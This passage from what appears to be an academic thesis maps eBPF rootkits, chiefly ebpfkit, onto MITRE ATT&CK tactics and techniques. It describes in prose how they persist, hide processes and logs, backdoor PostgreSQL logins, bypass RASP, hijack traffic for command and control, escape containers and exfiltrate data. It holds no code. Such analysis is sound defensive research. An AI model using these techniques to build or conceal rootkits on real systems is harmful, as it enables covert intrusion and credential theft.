Collection and C2 as the most pertinent MITRE ATT&CK tactics for modeling rootkit
techniques is based on their direct alignment with the core functionalities and objectives
of a rootkit once it has initially compromised a system. A rootkit’s primary purpose is to
maintain access, operate covertly and exert control, which these six tactics comprehen-

sively cover.

Table 3.2 below presents a detailed mapping between each tactic and the corresponding
implementations in the rootkits. This mapping illustrates how each tool uses specific
techniques to fulfill the strategic goals associated with its respective tactic.

Tactic Tool Capability Description
Persistence TripleCross | Hidden files in cron.d and sudoers.d ensure re-
(TA0003) boot persistence with full privileges [50].
ebpfkit Manipulates authorized_keys, passwd,
crontab and PostgreSQL databases for persis-
tent access [38].
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Tactic Tool Capability Description
Bad BPF Mentions self-copying into /etc/rcS.d and file
hiding, but lacks reboot persistence by default
[55].
Privilege Escala- | TripleCross | Hijacks sudoers file reads to grant root access
tion (TA0004) [50].
Bad BPF Uses Sudo-Add tool to intercept and alter
/etc/sudoers file for privilege escalation [23].
Defense Evasion | TripleCross | Uses sys_getdents64 syscall tampering to hide
(TA0005) files and directories [50].
Bad BPF Conceals processes via /proc, alters file text and
blocks debugging tools like ptrace [53].
Boopkit Hooks getdents64() to hide its PID from ps
and top [29].
ebpfkit Obfuscates processes, eBPF programs/maps
and suppresses kernel warnings in dmesg and
journalctl [38].
Credential Access | ebpfkit Exfiltrates PostgreSQL credentials and modifies
(TA0006) passwords via C2 [38|.
Bad BPF Inserts fake wusers and passwords into
/etc/passwd and /etc/shadow [54].
TripleCross | Enable credential collection through remote ex-
/ Boopkit ecution capabilities [17] [20].

Collection ebpfkit Exfiltrates file contents, environment variables,
(TA0009) database dumps and in-memory data via eBPF
maps [38].

TripleCross | Uses library injection and execution hijacking for
data exfiltration [50].

Command & Con- | ebpfkit Hijacks network traffic using XDP/TCand cus-
trol (TA0011) tom HTTP requests for remote command execu-
tion [38].

Boopkit Uses malformed TCP SYN packets to spawn re-
verse shells and execute commands [61].
TripleCross | Monitors network for stealthy triggers and

supports multiple pseudo-shells (plaintext, en-
Phantom shell uses TCP
retransmissions for stealthy exfiltration [50].

crypted, phantom).

Table 3.2: Mapping MITRE ATT&CK Tactics to Rootkit Capabilities

The other eight MITRE ATT&CK tactics (Initial Access, Reconnaissance, Resource De-
velopment, Execution, Discovery, Lateral Movement, Exfiltration, Impact) are less central

to modeling the rootkit’s inherent functions because they often represent either:

e Pre-attack phases: Such as Resource Development and Reconnaissance.

e Prerequisites to rootkit installation: Such as Initial Access and Execution (which
often provide the initial foothold needed to install the rootkit).
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e Actions taken by the attacker through the rootkit: Like Discovery, Lateral Movement
and Exfiltration, where the rootkit enables these actions but isn’t solely defined by
them.

e Outcomes of the attack: Like Impact (e.g., data destruction), which is a potential
result of the rootkit’s presence, rather than its continuous, self-serving mechanism.

By focusing on the six selected tactics, the model effectively captures the essential char-
acteristics of eBPF-based rootkits: their ability to establish a hidden, privileged and con-
trolled presence for sustained malicious operations and data theft.

3.3 Qualitative Analysis of Technique Coverage

This section is based on the results of Appendix A, a mapping of techniques between
MITRE ATT&CK and ebpfkit, the rootkit selected in 3.2.1. Its primary purpose is
to provide a systematic characterization of rootkit techniques through the lens of the
MITRE ATT&CK framework. This mapping associates each ebpfkit rootkit technique
with the corresponding MITRE ATT&CK techniques it employs, offering a structured
and standardized understanding of how these rootkits operate within the broader context
of adversarial tactics and techniques.

It covers how ebpfkit implements various capabilities and aligns with the six most pertinent
MITRE ATT&CK tactics for modeling rootkit techniques as selected in 3.2.2. By exam-
ining the sub-techniques associated with each mapped ATT&CK technique, Appendix A
aims to help:

e Identifying potential implementation pathways that might not be immediately obvi-
ous from a rootkit’s observable behavior.

e Expanding the understanding of what rootkits can achieve.

e Anticipating future evolutions in rootkit design, especially as adversaries adapt to
detection mechanisms.

e Revealing which ATT&CK techniques are not currently used by a given rootkit,
prompting research into why these gaps exist (e.g., technical infeasibility, ineffec-
tiveness, or unexplored avenues) and how rootkits might evolve in response to new
detection and mitigation strategies.

In summary, Appendix A serves as a comprehensive reference within the thesis, detailing
the specific MITRE ATT&CK techniques that the ebpfkit rootkit can leverage, thereby
enhancing the understanding of its operational capabilities and potential threat vectors.

From this detailed mapping, I was able to extract twelve core techniques that represent the
fundamental strategies used by the rootkit. These twelve techniques serve as a high-level
abstraction of the rootkit’s behavior, capturing its essential methods of persistence,
evasion and control.

For each of these twelve core techniques, I will present the associated MITRE ATT&CK
techniques that support or reflect its functionality. In doing so, I will provide an ex-
planation of each ATT&CK technique, detailing its purpose and how it manifests in the
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context of the ebpfkit rootkit. This approach not only clarifies the relationship between the
rootkit’s internal mechanisms and the ATT&CK framework but also offers a comprehensive
understanding of its threat profile.

Rootkit Technique MITRE ATT&CK Technique IDs
T1098. Account Manipulation

T1548. Abuse Elevation Control Mechanism
T1036. Masquerading

T1550. Use Alternate Authentication Material
T1078. Valid Accounts

T1098. Account Manipulation

T1574. Hijack Execution Flow

T1556. Modify Authentication Process
T1505. Server Software Component

T1176. Software Extensions

T1548. Abuse Elevation Control Mechanism
T1620. Reflective Code Loading

T1550. Use Alternate Authentication Material
T1078. Valid Accounts

T1555. Credentials from Password Stores
T1003. OS Credential Dumping

T1005. Data from Local System

T1572. Protocol Tunneling

T1037. Boot or Logon Initialization Scripts
T1053. Scheduled Task/Job

T1036. Masquerading

T1574. Hijack Execution Flow

T1548. Abuse Elevation Control Mechanism
T1622. Debugger Evasion

T1211. Exploitation for Defense Evasion

T1205. Traffic Signaling
Bypassing RASP T1211

Overriding Content of
Authentication Files

Unauthorized Access via Covert
Password Substitution

Startup Persistence

Syscall Spoofing and Blocking via
BPF-based Kernel Tampering

. Exploitation for Defense Evasion
T1562. Impair Defenses
T1620. Reflective Code Loading
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Rootkit Technique

MITRE ATT&CK Technique IDs

Stealthy C2 via Connection
Hijacking and DNS Spoofing

T1574.
T1176.
T1205.
T1562.
T1070.
T1036.
T1557.
T1040.
T1005.
T1071.
T1659.
T1001.
T1665.
T1572.

Hijack Execution Flow
Software Extensions
Traffic Signaling

Impair Defenses
Indicator Removal
Masquerading
Adversary-in-the-Middle
Network Sniffing

Data from Local System
Application Layer Protocol
Content Injection

Data Obfuscation

Hide Infrastructure
Protocol Tunneling

Active Network Discovery

T1205.
T1040.
T1095.

Traffic Signaling
Network Sniffing
Non-Application Layer Protocol

Passive Network Discovery

T1036.
T1040.

Masquerading
Network Sniffing

Docker Image Swapping for Stealth
and Container Escape

T1574.
T1525.
T1176.
T1548.
T1611.
T1055.

Hijack Execution Flow

Implant Internal Image

Software Extensions

Abuse Elevation Control Mechanism
Escape to Host

Process Injection

eBPF Concealment

T1622.
T1211.
T1564.
T1562.
T1070.
T1036.
T1027.

Debugger Evasion

Exploitation for Defense Evasion
Hide Artifacts

Impair Defenses

Indicator Removal
Masquerading

Obfuscated Files or Information

Logging Obscuring and Prevention

T1211.
T1564.

Exploitation for Defense Evasion
Hide Artifacts

Data Exfiltration from Files,
Memory and Environment

T1555.
T1005.
T1074.
T1071.
T1659.
T1001.
T1665.
T1572.

Credentials from Password Stores
Data from Local System

Data Staged

Application Layer Protocol
Content Injection

Data Obfuscation

Hide Infrastructure

Protocol Tunneling

Table 3.3: Mapping of Rootkit Techniques to MITRE ATT&CK Techniques
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3.3.1 Overriding Content of Authentication Files

This capability of ebpfkit primarily involves manipulating and replacing data within critical
authentication files or in-memory authentication processes to grant adversaries unautho-
rized and persistent access. This is directly implemented through:

e Account Manipulation (T1098), which entails modifying the content of files like
authorized_keys and /etc/passwd to allow for new or altered credentials, as well as
intercepting and overwriting password hashes within database authentication func-
tions like PostgreSQL’s md5_crypt_verify.

e Abuse Elevation Control Mechanism (T1548), where the rootkit overrides
these sensitive files and database authentication mechanisms to explicitly maintain

unauthorized privileged access.

e Masquerading (T1036), which ensures that while the authentication files are in-
deed modified, the changes are hidden from direct user inspection, making the files
appear unchanged to standard tools. This stealth is crucial for avoiding detection.

e Use Alternate Authentication Material (T1550) describes the outcome of this
overriding, where the attacker can inject their own SSH keys or force a new pass-
word into the authentication process for databases, effectively creating "alternate
authentication material" that grants them access.

e Valid Accounts (T1078) highlights that these actions lead to the adversary gaining
what appears to be legitimate-looking access (e.g., via SSH key injection or a new,
known database password), effectively bypassing normal authentication checks.

3.3.2 Unauthorized Access via Covert Password Substitution

This capability of the ebpfkit rootkit is a sophisticated operation that leverages various
MITRE ATT&CK techniques, primarily focusing on in-memory manipulation and stealthy

communication.

The core mechanism involves authentication backdooring combined with execution hijack-
ing to enable covert system access and control:

e Server Software Component (T1505) and Software Extensions
(T1176): The rootkit targets user-space daemons, specifically hooking into
the md5_crypt_verify function within PostgreSQL using eBPF uprobes. This
function is responsible for validating user password hashes during login. By using
these hooks, the rootkit introduces an authentication backdoor, effectively extending
the software’s behavior without modifying its binaries.

e Hijack Execution Flow (T1574) and Reflective Code Loading (T1620): Once
md5_crypt_verify is hooked, the rootkit hijacks the user-space logic. It uses the
bpf_probe_write_user helper function to overwrite the shadow_pass (the expected
hash in the database’s memory) with a known, precomputed MD5 hash. This direct
in-memory alteration of the authentication logic, without disk modifications, is a
form of reflective code loading, allowing a known, controlled value to succeed the
password comparison, regardless of the actual password entered by the user.
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Maintaining access involves establishing persistence and escalating privileges to ensure

continued and elevated control over the system:

e Account Manipulation (T1098), Use Alternate Authentication Material
(T1550) and Valid Accounts (T1078): By changing the expected hash in memory,
the rootkit enables login with an attacker-controlled, "valid" password, effectively
manipulating the account’s authentication process. This grants persistent access to
the database, as the rootkit ensures its chosen password becomes a valid credential

for continued unauthorized access.

e Abuse Elevation Control Mechanism (T1548): This process of manipulating
application authentication to maintain unauthorized privileged access to the Post-
greSQL database directly contributes to abusing elevation control mechanisms.

Covert operations rely on data collection and defense evasion to gather sensitive informa-
tion while remaining undetected:

e OS Credential Dumping (T1003), Credentials from Password Stores
(T1555) and Data from Local System (T1005): Beyond just replacing pass-
words, the rootkit has the capability to collect and exfiltrate PostgreSQL credentials
(hash passwords) that it detects at runtime, often storing them in eBPF maps. This
allows for the "dumping" of acquired credentials from the local system.

e Masquerading (T1036): The in-memory modification of the shadow_pass hash is
a key aspect of masquerading, as the actual file on disk remains unchanged. This
ensures that standard auditing tools inspecting the filesystem will not detect the
alteration, making the attack highly stealthy.

Remote control and exfiltration are facilitated through command and control mechanisms
that allow attackers to manage compromised systems and extract data covertly:

e Protocol Tunneling (T1572): The rootkit’s C2 feature, which allows the new
password to be defined remotely, operates by hijacking existing network connections,
such as HTTPS traffic. It doesn’t initiate new connections, making it harder to
detect.

e Masquerading (T1036): When a command is sent (e.g., to set a new password),
the rootkit’s eBPF programs intercept the request and masquerade the malicious
communication as benign traffic, such as a health check. This prevents the actual
malicious request from reaching the legitimate web application or user-space moni-
toring tools, thereby avoiding detection of the C2 communication. Similarly, when
exfiltrating collected credentials (T1003, T1555, T1005), the rootkit uses traffic
manipulation to embed this data within legitimate outgoing responses, further en-
suring stealth.

3.3.3 Startup persistence

The rootkit achieves persistence and stealth through several MITRE ATT&CK techniques
when utilizing /etc/rcS.d or crontab through:

e Boot or Logon Initialization Scripts (T1037); The rootkit can ensure its per-
sistent autostart by self-copying its randomly named executable into /etc/rcS.d,
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which allows it to execute automatically at system boot. Additionally, it can achieve
this by modifying crontab to execute commands at system startup.

e Scheduled Task/Job (T1053): This technique specifically involves the modifica-
tion of the crontab file to ensure the rootkit runs automatically at system startup.
This directly supports persistence by leveraging a legitimate system scheduling mech-
anism.

e Masquerading (T1036): To remain concealed, the rootkit can replace the content
of critical files like crontab or sshd’s authorized_keys that are read by root dae-
mons. Crucially, this is done in a way that the file appears unchanged from the user’s
perspective. For example, an SSH key injected into authorized_keys would only be
visible to sshd, but not to a user directly inspecting the file. This also extends to
hiding its binary file if copied to a system location like /etc/rcS.d using obfuscation
mechanisms.

3.3.4 Syscall spoofing and blocking via BPF-based kernel tampering

The capability of the ebpfkit rootkit consists of spoofing or corrupting syscall outputs,
blocking kill signals with and preventing kernel module loading and is implemented
through:

e Hijack Execution Flow (T1574): This technique directly enables the spoofing or
corrupting of syscall outputs, the blocking of kill signals with ESRCH and the preven-
tion of kernel module loading. It achieves this by utilizing bpf _override_return to
alter system call return values and bpf_probe_write_user to modify data in user
space. Beyond these specific manipulations, it also encompasses hijacking user-space
application logic and network traffic flow.

e Abuse Elevation Control Mechanism (T1548): This technique con-
tributes to the overall manipulation by illustrating how the rootkit leverages
bpf_probe_write_user and bpf_override_return to corrupt or fake system call
outputs. This allows the rootkit to conceal its presence and elevated privileges,
blocking signals and module loads and manipulating internal eBPF syscalls to mask
its components.

e Debugger Evasion (T1622): This technique focuses on hiding the rootkit from
detection by directly manipulating system call responses. It involves intercepting
system calls that accept Process IDs (PIDs) as arguments, such as kill and waitpid.
Using bpf_probe_write_user, the rootkit tampers with the outputs of these syscalls,
for example, modifying stat /proc/<rootkit-pid>/cmdline to make its process
metadata appear falsified or non-existent. It explicitly states that it blocks signals
by hooking the kill syscall entry and overriding its return value with ESRCH, making
the process appear as if it does not exist. This technique also extends to hiding
the rootkit’s own eBPF programs and maps by hooking the bpf syscall itself and
preventing their discovery.

e Exploitation for Defense Evasion (T1211): This technique describes the broad
strategy of exploiting eBPF capabilities for evasion, which heavily relies on system
call manipulation. It reiterates the use of bpf_probe_write_user to alter data re-
turned by a syscall, for example, to obfuscate files. It also emphasizes the power of
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bpf_override_return to change system call return values or completely skip their
execution, which is applied to block signals to the rootkit process with ESRCH and
prevent kernel modules from loading. Furthermore, this technique details the meth-
ods used to hide eBPF components and suppress kernel ring buffer messages through
syscall manipulation, thereby preventing logging that could reveal the rootkit’s ac-
tivity.

3.3.5 Bypassing RASP

This ebpfkit capability uses several MITRE ATT&CK techniques to achieve its objective
of evading runtime defenses. This is implemented through:

e Traffic Signaling (T1205): This technique contributes to RASP bypass by allowing
the rootkit to trigger its bypass mechanism conditionally, often via a "specific secret
password" or "magic value" embedded in a query. When this "secret password" is
detected at the beginning of a query, the rootkit uses the bpf_probe_write_user
helper to override the input parameters, making the RASP observe a benign query
while the actual malicious SQL injection is executed by the underlying database.

¢ Exploitation for Defense Evasion (T1211): The rootkit exploits defense evasion
by hooking into critical application points using uprobe eBPF programs, specifically
uprobe/SQLDBQueryContext and uprobe/SQLiteConnQuery. Before the RASP can
check a SQL query, the hooked function reads the query, identifies if it matches
a dangerous pattern and then stores a sanitized version in a per-process override
map. Subsequently, before the SQL query is executed, another hooked function
overwrites the original query with this sanitized version, effectively bypassing RASP
checks. This technique also leverages bpf_probe_write_user to alter data returned
by syscalls for obfuscation.

e Impair Defenses (T1562): The rootkit directly impairs RASP defenses by hooking
specific user-space functions, such as md5_crypt_verify for PostgreSQL authentica-
tion or database SQL interface functions for web applications, using uprobe eBPF
programs. By employing the bpf_probe_write_user helper, the rootkit overrides
the input parameters of these hooked functions. This manipulation allows the RASP
to perceive a benign query while the underlying database proceeds to execute the
actual malicious SQL injection. This fundamental approach is noted to be applicable
to all RASPs.

e Reflective Code Loading (T1620): For RASP bypass, the rootkit utilizes up-
robes attached to user-space functions, specifically targeting critical points within
applications like the go database/sql interface or the SQLite driver. Through the
use of bpf_probe_write_user, the rootkit overrides the input parameters of these
hooked functions. This enables a security tool (like RASP) to inspect a benign (non-
malicious) query, while the database itself is compelled to execute the malicious SQL
injection crafted by the adversary. This method effectively conceals the malicious ex-
ecution by manipulating the in-memory representation of the query, thus bypassing
RASP without relying on new file-backed components for the malicious SQL.
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3.3.6 Stealthy C2 via connection hijacking and DNS spoofing

The ebpfkit rootkit uses techniques allow the rootkit to intercept, modify and obscure

network traffic at a low level within the kernel, making its malicious activities difficult to

detect by traditional security tools:

Hijack Execution Flow (T1574) and Software Extensions (T1176): The
rootkit utilizes kprobe and uprobe hooks to inject logic into the kernel and user
space without altering binaries, thereby controlling network traffic flow and hijack-
ing existing connections. This allows for packet manipulation and DNS spoofing,
effectively bypassing kernel visibility.

Traffic Signaling (T1205): The rootkit uses this technique for C2 by hijacking
existing network connections. The client sends custom HTTPS requests, embedding
commands via custom routes and user agents. An eBPF XDP program then inter-
cepts these requests, executes the commands and subsequently overrides the entire
request with a benign health check, thereby hiding the malicious traffic.

Impair Defenses (T1562): The rootkit hides its C2 traffic by hijacking existing
network connections and employing XDP /TC classifier programs to blend malicious
communications with legitimate network traffic. XDP programs operate very early in
the network stack, processing packets before they reach firewalls or monitoring tools.
The rootkit then overrides malicious requests with benign health checks, making the
C2 communication appear normal and thus impairing defenses.

Indicator Removal (T1070): This technique is used to prevent the detection
of C2 activities. The rootkit leverages XDP programs early in the Linux network
stack to intercept and modify packets before they are seen by host-level firewalls
or monitoring tools. By overriding malicious C2 requests with simple health check
responses, the rootkit prevents the creation of indicators of its C2 communication on
the compromised host.

Masquerading (T1036): The rootkit’s C2 operations mimic normal, expected
traffic. When the client sends commands via customized HTTPS requests, the XDP
program intercepts and processes them. After execution, the program overrides the
request with a simple health check, preventing the suspicious request from reach-
ing the legitimate web application or user-space monitoring tools. This makes the
interaction appear normal, thereby masquerading the C2 traffic.

Adversary-in-the-Middle (T1557): The rootkit acts as an adversary-in-the-
middle within the kernel space to facilitate C2 and data exfiltration. It hijacks exist-
ing network connections for its C2 operations, intercepting incoming HTTP /HTTPS
requests, executing commands and then overriding the original request with a benign
"health check" to avoid detection. For data exfiltration, it intercepts legitimate out-
going responses and overrides their content with the requested data. This technique
also directly enables DNS spoofing by overriding DNS answers.

Network Sniffing (T1040): The rootkit utilizes XDP and TC classifier programs
for deep packet inspection. While also used for passive monitoring and active scan-
ning by hijacking requests, a key aspect is its ability to exfiltrate data by intercepting
legitimate outgoing responses (e.g., health checks) and overriding their content with
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the collected data. This capability is also explicitly demonstrated for DNS spoofing,
where XDP programs override DNS responses.

Data from Local System (T1005): This technique describes the broad data
accessibility provided by the rootkit for exfiltration, which is crucial for the "packet
manipulation" aspect of the overall objective. The rootkit can exfiltrate "pretty much
anything that is accessible to eBPF," including file content (e.g., /etc/passwd),
environment variables, database dumps and in-memory data, by leveraging eBPF
maps. This collected data is then used to override legitimate network traffic during
exfiltration.

Application Layer Protocol (T1071): The rootkit primarily uses HT'TPS traffic
for its C2 operations, operating at the application layer and also applicable to DNS. It
avoids detection by mimicking normal, expected traffic, hijacking existing connections
and overriding original requests with simple health checks. Commands and results
are embedded within these protocol messages, with malicious content replaced by
benign responses.

Content Injection (T1659): For C2, the rootkit’s XDP program processes client
commands and then overrides the entire incoming request with a simple health check
response, preventing the malicious request from being seen and providing a benign
"200 OK" answer. For data exfiltration, a TC egress classifier intercepts legitimate
outgoing answers and overrides them with the exfiltrated data, effectively injecting
malicious content into existing data-transfer channels. This technique is also used
for DNS spoofing by overriding DNS answers.

Data Obfuscation (T1001): The rootkit aims to mimic normal traffic and hide
its commands. It uses bpf_probe_write_user to override malicious HT'TPS re-
quests with simple health checks, embedding commands within what appears to be
legitimate web traffic. Similarly, during data exfiltration, it overrides the content
of legitimate outgoing answers with exfiltrated data, making sensitive information
appear as normal egress traffic. This applies to DNS spoofing as well.

Hide Infrastructure (T1665): Instead of opening new connections, the rootkit
hijacks existing network connections for C2, blending malicious communications with
legitimate traffic. XDP programs intercept incoming C2 commands at a very low level
and override malicious requests with benign health checks, preventing detection. For
data exfiltration, TC classifier programs intercept outgoing legitimate responses and
override their content with exfiltrated data, thus hiding the rootkit’s operational
infrastructure.

Protocol Tunneling (T1572): The rootkit hijacks existing connections to estab-
lish its C2 without initiating new ones. It processes client commands embedded in
custom HTTPS requests and then overrides the incoming request with a health check,
appearing normal to monitoring tools. For data exfiltration, it intercepts legitimate
outgoing responses and overrides them with the requested data, effectively tunneling
information within existing protocol streams. This capability also extends to DNS
spoofing by overriding DNS answers.
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3.3.7 Passive Network Discovery

The ebpfkit rootkit allows to monitor network traffic without generating its own traffic,
thereby enhancing its stealth and making it difficult to detect, via the following techniques:

e Network Sniffing (T1040): The rootkit includes a basic network monitoring tool
that listens for all ingress (incoming) and egress (outgoing) network traffic. It utilizes
eBPF program types like XDP for ingress traffic and TC classifier programs for egress
traffic. These programs are capable of deep packet inspection. The rootkit collects
network flow data and the amount of data sent per flow, which can then be graphed.
This method is entirely passive and does not generate network traffic itself, making
it very difficult to detect by examining the infected host’s network activity.

e Masquerading (T1036): As a key aspect of masquerading, the passive network
discovery feature acts as a basic network monitoring tool that listens for ingress and
egress traffic without generating any traffic on the network itself. This design makes
it "basically impossible to detect that someone is tapping into your network," thereby
effectively masquerading its presence and activity from network-level detection. The
rootkit’s primary goal is to hide itself and this passive monitoring contributes to that
by avoiding any overt network footprint.

3.3.8 Active Network Discovery

This capability allows the rootkit to perform network scans stealthily without involving
the kernel stack. It is achieved through:

e Traffic Signaling (T1205): The rootkit initiates active network discovery when its
client sends a scan request that includes specific target IP and port range parameters.
This request acts as a "magic value" or "specific string" to signal the rootkit to begin
the scanning process.

e Network Sniffing (T1040): The rootkit employs XDP programs for its active
network scanning capabilities, including ARP and SYN scans. Since eBPF programs
cannot directly initiate new connections, the rootkit cleverly hijacks existing HTTP
requests from its client. It uses an XDP program to override the incoming HTTP
request with an ARP request targeting a specific IP, transmitting it directly from the
Network Interface Controller (NIC) via XDP Transmit (NDPTX), thereby bypassing
the traditional network stack entirely. Once the MAC address is resolved through
ARP, the rootkit repurposes subsequent retransmissions of the original client packet
into SYN requests across a specified port range. This creates a "network loop" in
which each SYN response, whether RST or SYN+ACK, is intercepted and replaced
with a new SYN request for the next port, enabling the rootkit to generate hundreds
of scan packets by recycling the initial client connection’s retransmissions without
ever touching the kernel stack.

e Non-Application Layer Protocol (T1095): The active network discovery utilizes
protocols below the application layer. The rootkit uses an ARP (Layer 2 of the OSI
model) scanner to discover the MAC address of target IPs. After ARP resolution, the
rootkit performs a SYN (Layer 4 - Transport Layer) scan by overriding retransmitted
TCP packets with SYN requests to probe port ranges.
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3.3.9 Docker Image Swapping for Stealth and Container Escape

This capability of ebpfkit primarily focuses on gaining privileged control and maintaining
stealth within containerized environments. Here are the techniques through which it is
achieved:

e Hijack Execution Flow (T1574): This technique is central to manipulating
Docker’s behavior. The rootkit uses kprobe and uprobe hooks, specifically targeting
functions like ParseNormalizedNamed, to hijack Docker’s image parsing logic and ex-
ecution flow. This allows the rootkit to replace container images at runtime, enabling

container breakout and persistence.

e Implant Internal Image (T1525): This directly supports the image swapping
aspect. By targeting the Docker daemon with a uprobe on ParseNormalizedNamed,
the rootkit can hijack Docker’s image parsing logic. This allows for image switching
at runtime, where a legitimate container, such as the "Pause" container, can be
replaced with a rogue image during processing, leading to the deployment of malicious
containers. This process requires elevated capabilities like CAP_SYS_ADMIN and shared
host /namespace access.

e Software Extensions (T1176): This technique encompasses the rootkit’s ability
to extend software behavior stealthily. It is achieved by manipulating container
execution using kprobe and uprobe (again, referencing ParseNormalizedNamed) to
hijack Docker behavior and replace container images, ultimately enabling container

breakout and persistence.

e Abuse Elevation Control Mechanism (T1548): This technique is crucial for
gaining higher privileges necessary for the attack. The container breakout is en-
abled by hijacking inter-process pipes using kprobe and tracepoint hooks, which
bypasses namespace restrictions with elevated privileges. Specifically, hijacking
Docker’s ParseNormalizedNamed to swap container images at runtime enables priv-
ileged code execution through shared host access and elevated capabilities such as
CAP_SYS_ADMIN (or CAP_BPF + CAP_PERFMON on certain kernel Versions).

e Escape to Host (T1611): This technique directly addresses the goal of container
breakout. It involves hijacking inter-process pipes using kprobe and tracepoint hooks
to bypass namespace restrictions with the necessary elevated privileges. Furthermore,
hijacking Docker’s ParseNormalizedNamed function allows the rootkit to swap con-
tainer images at runtime, leading to privileged code execution via shared host access
and elevated capabilities, effectively enabling an escape to the host system.

e Process Injection (T1055): This technique describes the method of injecting
code or modifying processes. In this context, it refers to hijacking inter-process pipes
using kprobe and tracepoint hooks to bypass namespace restrictions with elevated
privileges. It also involves hijacking Docker’s ParseNormalizedNamed function to
swap container images at runtime, enabling privileged code execution through shared
host access and elevated capabilities.

3.3.10 eBPF Concealment

The rootkit achieves stealth by hiding its eBPF components, kernel ring buffer messages
and its own processes and files. These techniques collectively contribute to its ability to
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remain undetected on a compromised system:

e Debugger Evasion (T1622): The rootkit prevents detection by debuggers and
monitoring tools. It hides its persistent user-space process by intercepting system
calls (syscalls) that take PIDs as arguments, such as kill, waitpid and pidfd_open.
It uses the bpf_probe_write_user helper function to tamper with syscall outputs
for /proc/<rootkit-pid>/cmdline and /proc/<rootkit-pid>/exe, effectively fal-
sifying or obscuring process metadata. The rootkit also blocks signals by hook-
ing the kill syscall entry and overriding its return value with ESRCH, making it
appear as if the process does not exist. Crucially, it hides its eBPF components
(programs and maps) by hooking the bpf syscall itself, intercepting commands
like BPF_PROG_GET_NEXT_ID and BPF_PROG_GET_FD_BY_ID to prevent tools from dis-
covering its loaded eBPF programs and maps. Additionally, it attempts to hide
rootkit messages from the kernel ring buffer, including dmesg, journalctl -f and
the syslog syscall.

e Exploitation for Defense Evasion (T1211): This technique describes how
ebpfkit exploits system behaviors to bypass defenses. It achieves "File obfuscation" to
hide its process by manipulating the output of stat /proc/<rootkit-pid>/cmdline
to report "no such file or directory" using bpf_probe_write_user. It also blocks or
alters syscall return values using bpf_override_return to skip syscall execution en-
tirely. This is applied to block signals to the rootkit process (by returning ESRCH)
and to prevent kernel modules from loading. The rootkit hides its eBPF components
by hooking the bpf syscall to prevent user space from viewing or modifying them
through commands that enumerate programs and maps. Furthermore, it addresses
warnings generated in the kernel ring buffer when bpf_probe_write_user is used
by making read syscalls return zero and writing "legit-looking messages," then later
overriding the warning messages with benign ones.

e Hide Artifacts (T1564): This technique directly addresses the concealment of
the rootkit’s presence. The rootkit hides its own process and files by manipulat-
ing syscalls (e.g., stat) to report "no such file or directory" for its PID folder and
prevents external programs from interacting with its process by returning "no such
process error" for signals. For persistence, it copies its binary to dedicated system
locations like /etc/rcS.d and then hides these copied files using the same obfus-
cation mechanisms. It specifically hides its eBPF programs and maps by hooking
the syscall, preventing their IDs from being listed and file descriptors from being
obtained, which also helps prevent "ID guessing". It also obscures kernel logs, es-
pecially bpf_probe_write_user warnings, by intercepting read syscalls on the ker-
nel ring buffer and replacing messages to prevent detection by tools like dmesg or
journalctl.

e Impair Defenses (T1562): This broader technique encompasses the rootkit’s ef-
forts to evade detection mechanisms. It involves the overall obfuscation and hiding of
its presence, including its own process and protection from being killed, as well as hid-
ing its eBPF programs and maps from other programs that might try to access them.
This is achieved by modifying syscall returns using helpers like bpf _override_return
to make user space believe syscalls failed or to completely skip their execution (e.g.,
ps or Is seeing "no such file or directory" or "no such process"). It also addresses the
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warning messages generated in the kernel ring buffer by bpf_probe_write_user, us-
ing two eBPF programs to suppress and replace them with "legit-looking messages"
for dmesg or journalctl.

e Indicator Removal (T1070): This technique specifically focuses on removing any
traces or indications of the rootkit’s activities. The rootkit is designed to make
its own process undetectable by standard system tools, returning "nothing" or "no
such file or directory" for /proc/<rootkit-pid> entries and blocking signals with
ESRCH to effectively remove the indicator of a running process. It obfuscates eBPF
components by hooking the eBPF syscall, preventing enumeration of IDs and access
to their file descriptors. It also overrides kernel ring buffer messages generated by
bpf_probe_write_user by intercepting read syscalls and replacing warnings with
legitimate-looking messages to directly modify system logs and remove suspicious
indicators.

e Masquerading (T1036): The rootkit uses masquerading to make its malicious
presence appear benign or non-existent. It achieves process and component obfusca-
tion by hiding its eBPF programs and maps and ensuring other programs cannot ac-
cess their file descriptors. It uses bpf_probe_write_user and bpf_override_return
to alter syscall arguments or corrupt/change data returned by syscalls and even com-
pletely skip syscall execution. For file obfuscation, it modifies stat syscall returns and
scrubs buffer content to make files appear non-existent. It also hooks into the eBPF
syscall to prevent discovery of its eBPF program/map IDs and file descriptors. It
masquerades kernel ring buffer activity by intercepting read syscalls and writing
"egit-looking messages" over warnings.

e Obfuscated Files or Information (T1027): This core technique outlines how the
rootkit makes its process and components hidden through obfuscation. It prevents its
PID from being detected, making it appear as if the process does not exist. It hides
its binary file and other related files by intervening at a deeper kernel level to change
syscall return values (e.g., stat) and scrub content. It blocks signals and kernel mod-
ules. It specifically obfuscates eBPF programs and maps by hooking the ebpf syscall
to prevent user space from iterating through their IDs or obtaining file descriptors.
It also hides kernel ring buffer messages generated by bpf_probe_write_user by
monitoring read syscalls and replacing warnings with legitimate-looking messages.

3.3.11 Logging Obscuring and Prevention

The ebpfkit rootkit manipulates kernel-level logging to conceal its activities:

¢ Exploitation for Defense Evasion (T1211) and Hide Artifacts (T1564): The
bpf probe write wuser helper, which is essential for the rootkit’s operations,
can generate warning messages in the kernel ring buffer, potentially indicating its
presence. To counteract this, the rootkit employs a two-program strategy:

— A first eBPF program is loaded that intercepts read syscalls to the kernel
ring buffer. This program makes the read syscall return zero and writes
"egit-looking messages". This prevents the actual warning messages related
to bpf_probe_write_user from being immediately read.
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— A second eBPF program, which also uses bpf_probe_write_user, is then
loaded. This program unblocks the read syscall and overrides the content of the
warning messages with benign-looking messages. This directly hides suspicious
entries from outputs of tools like dmesg or journalctl -f and prevents logging
to syslog.

3.3.12 Data Exfiltration from Files Memory and Environment

The exfiltration of file content, environment variables, databases and in-memory data by
ebpfkit is achieved through a combination of several MITRE ATT&CK techniques, pri-
marily leveraging eBPF’s kernel-level access and network manipulation capabilities. Here

is how they are implemented:

Credentials from Password Stores (T1555): The rootkit can exfiltrate sensitive
data, such as the content of the /etc/passwd file, a common password store on Linux
systems. It does this by monitoring when a user-space process reads this file and
copies the content into an eBPF map for later retrieval. Additionally, it can collect
and exfiltrate PostgreSQL hash passwords detected at runtime.

Data from Local System (T1005): The rootkit is designed to exfiltrate "pretty
much anything that is accessible to eBPF" from the local system. This includes file
content, environment variables, database dumps and in-memory data (gathered by
analyzing program stacks). This broad access is facilitated by the ability of different
eBPF program types to share data through eBPF maps. The exfiltration is initiated
by a client sending a request for specific data, which an XDP program captures and
